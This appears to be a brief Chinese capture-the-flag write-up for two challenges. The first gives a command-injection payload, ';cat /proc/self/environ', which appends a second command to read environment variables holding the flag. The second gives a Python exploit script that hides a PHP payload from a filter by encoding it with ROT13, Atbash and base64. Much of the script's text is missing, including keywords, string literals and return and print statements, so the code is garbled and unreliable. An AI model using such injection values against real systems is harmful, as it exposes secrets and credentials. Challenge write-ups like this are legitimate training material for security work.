1、DD 加速器
在环境变量里
Payload：;cat /proc/self/environ
2、真的是签到诶
需要对 payload 进行一些加密处理和替换，CyberChef 可以直接处理。这里用 Python 实现。
Exp：
#!/usr/bin/env python3
import base64, codecs, sys
def atbash(text: str) -> str:
result = []
for ch in text:
if 'A' <= ch <= 'Z':
base = ord('A')
offset = ord(ch) - base
new = chr(base + (25 - offset))
result.append(new)
elif 'a' <= ch <= 'z':
base = ord('a')
offset = ord(ch) - base
new = chr(base + (25 - offset))
result.append(new)
else:
result.append(ch)
return ''.join(result)
def make_cipher(php_code: ) -> :
rot = codecs.encode(php_code, )
atb = atbash(rot)
base64.b64encode(atb.encode()).decode()
__name__ == :
(sys.argv) > :
php_code = .join(sys.argv[:])
:
php_code = ()
cipher = make_cipher(php_code)
( + cipher)
()
(.(cipher))
